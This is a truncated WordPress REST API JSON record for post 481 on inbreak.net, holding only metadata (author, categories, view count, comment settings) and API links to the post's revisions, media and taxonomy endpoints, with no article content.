\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[84,86,5],"tags":[],"views":128533,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/481"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=481"}],"version-history":[{"count":4,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/481\/revisions"}],"predecessor-version":[{"id":486,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/481\/revisions\/486"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=481"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=481"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=481"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}